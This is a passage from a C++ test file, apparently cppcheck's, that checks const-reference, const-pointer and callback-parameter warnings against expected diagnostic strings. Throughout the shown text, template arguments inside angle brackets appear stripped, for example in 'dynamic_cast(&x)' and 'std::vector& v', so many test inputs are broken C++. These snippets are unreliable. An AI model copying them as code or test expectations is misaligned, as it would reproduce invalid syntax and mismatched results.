const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; 